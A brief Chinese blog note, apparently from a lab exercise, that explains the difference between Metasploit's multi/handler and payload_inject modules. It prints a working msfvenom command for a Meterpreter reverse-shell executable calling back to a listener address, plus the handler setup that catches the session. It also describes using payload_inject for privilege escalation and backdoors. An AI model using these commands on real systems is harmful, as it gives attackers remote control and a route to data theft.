exploit/multi/handler
在Metasploit框架中使用exploit/multi/handler模块,是用来接收来自目标系统的反向shell连接,通常是在已经成功利用某个漏洞并植入了Meterpreter shell或者执行了其他形式的代码之后的操作。
使用Metasploit生成一个可执行的payload,将这个payload上传到目标系统上并执行
以下是生成payload和使用multi/handler模块的一般步骤:
1. 生成Payload:
使用msfvenom来创建一个payload,例如一个Windows可执行文件(.exe),指定LHOST和LPORT,这样payload在执行时就会尝试回调到这些设置好的值。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.162 LPORT=5555 -f exe > payload.exe
2. 上传并执行Payload
将生成的payload上传到目标系统。如果已经有对目标系统的访问权限,可将文件上传至目标系统上执行payload。(在我的实际使用场景中,已经通过蚁剑成功连接上了目标主机,因此直接用蚁剑上传文件并执行)
3. 监听Callback:
在Metasploit框架中启动multi/handler模块,并设置LHOST和LPORT与生成payload时相同的值。
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.52.162
set LPORT 5555
run
当payload在目标系统上执行并成功回调时,multi/handler模块应该会在Metasploit中显示一个新的会话(session),这意味着已经获得了对目标系统的控制。
exploit/windows/local/payload_inject
exploit/windows/local/payload_inject 用于在已经获得一定权限的 Windows 系统上注入并执行任意的有效载荷(payload)。这个模块通常在以下场景下使用:
1. 权限提升:当已经通过某种方式获得了对目标 Windows 系统的访问权限,但权限级别较低时,可以尝试使用此模块来提升权限。例如,如果当前以普通用户身份登录,而需要 SYSTEM 权限才能执行某些操作,那么可以通过注入一个具有更高权限的 payload 来达到目的。
2. 持续访问:在渗透测试过程中,可能需要在目标系统上维持一个持久的连接,以便于后续的数据收集、横向移动等操作。通过注入一个包含 Meterpreter 或其他功能的 payload,我们可以创建一个持久的后门。
3. 执行特定任务:有时可能需要在目标系统上执行一些特定的任务,比如数据窃取、网络侦察等,这可以通过注入定制的 payload 来实现。
payload_inject 模块的工作原理大致如下:
它会在目标系统上寻找一个可利用的进程,通常是已知的、稳定的系统进程。然后模块会将我们生成的 payload 注入到该进程中。一旦 payload 被成功注入并执行,就可以与之建立一个会话,从而获得进一步的控制能力。
两个模块的区别
与 exploit/multi/handler 不同的是,payload_inject 并不专注于接收来自目标的反向连接。相反,它是用于在目标系统内部执行 payload,可能是为了提升权限、执行特定命令或建立持久连接。而 exploit/multi/handler 则主要用于处理由目标主动发起的反向连接请求,通常是在目标系统上已经成功执行了一个包含反向连接 payload 的情况下使用。
因此,exploit/windows/local/payload_inject 和 exploit/multi/handler 在 Metasploit 中扮演着不同的角色,前者更多地涉及在目标系统上的本地操作,后者则侧重于建立远程控制会话。
在靶场复现的过程中,对同一个步骤在博客中发现了这两种模块的使用,由于对这些模块不怎么熟悉,很好奇这两个模块有什么不同呢,做个简单的记录
找资料过程中看到的博文放个链接方便查看